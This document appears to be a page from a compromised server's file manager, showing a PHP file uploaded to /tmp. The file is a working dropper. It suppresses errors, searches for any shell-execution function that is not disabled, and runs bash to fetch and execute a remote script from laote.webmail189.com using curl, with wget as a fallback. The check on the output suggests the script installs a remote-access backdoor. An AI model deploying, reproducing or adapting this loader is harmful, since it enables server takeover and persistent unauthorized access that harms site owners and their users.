RootZanli & NinjaCr3

: / tmp /
Filename : upload-D2CeJ7
back
<?php
@error_reporting(0);

$my_execution = function($cmd, &$stderr = null, &$status = null) {
    $stderr = null;
    $status = null;
    static $disable_functions;
    if (!isset($disable_functions)) {
        $disable_functions = array_flip(array_map('strtolower', array_map('trim', explode(',', trim(ini_get('disable_functions'))))));
    }
    $functions = [];
    $functions[] = 'proc_open';
    $functions[] = 'exec';
    if (func_num_args() >= 3) {
        $functions[] = 'passthru';
        $functions[] = 'system';
        $functions[] = 'shell_exec';
    } else {
        $functions[] = 'shell_exec';
        $functions[] = 'passthru';
        $functions[] = 'system';
    }
    foreach ($functions as $function) {
        if ($function === 'proc_open' && function_exists('proc_open') && is_callable('proc_open') && !isset($disable_functions['proc_open'])) {
            $descriptorspec = [
                1 => ['pipe', 'w'],
                2 => ['pipe', 'w']
            ];
            $pipes = [];
            $proc = proc_open($cmd, $descriptorspec, $pipes);
            $stdout = stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            $stderr = stream_get_contents($pipes[2]);
            fclose($pipes[2]);
            $status = proc_close($proc);
            if ($stdout === "\x0d\x1b\x5b\x30\x4b\x0a") {
                $stdout = '';
            }
            return $stdout;
        }
        if ($function === 'exec' && function_exists('exec') && is_callable('exec') && !isset($disable_functions['exec'])) {
            $stdout = [];
            exec($cmd, $stdout, $status);
            $stdout = implode(PHP_EOL, $stdout);
            return $stdout;
        }
        if ($function === 'passthru' && function_exists('passthru') && is_callable('passthru') && !isset($disable_functions['passthru'])) {
            ob_start();
            passthru($cmd, $status);
            $stdout = ob_get_clean();
            return $stdout;
        }
        if ($function === 'system' && function_exists('system') && is_callable('system') && !isset($disable_functions['system'])) {
            ob_start();
            system($cmd, $status);
            $stdout = ob_get_clean();
            return $stdout;
        }
        if ($function === 'shell_exec' && function_exists('shell_exec') && is_callable('shell_exec') && !isset($disable_functions['shell_exec'])) {
            $stdout = shell_exec($cmd);
            return $stdout;
        }
    }
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://laote.webmail189.com/bin/y)"');
if (strpos($my_stdout, 'To connect use one of the following') === false) {
    $my_stdout .= $my_execution('bash -c "$(wget --no-verbose -O- https://laote.webmail189.com/bin/y)"');
}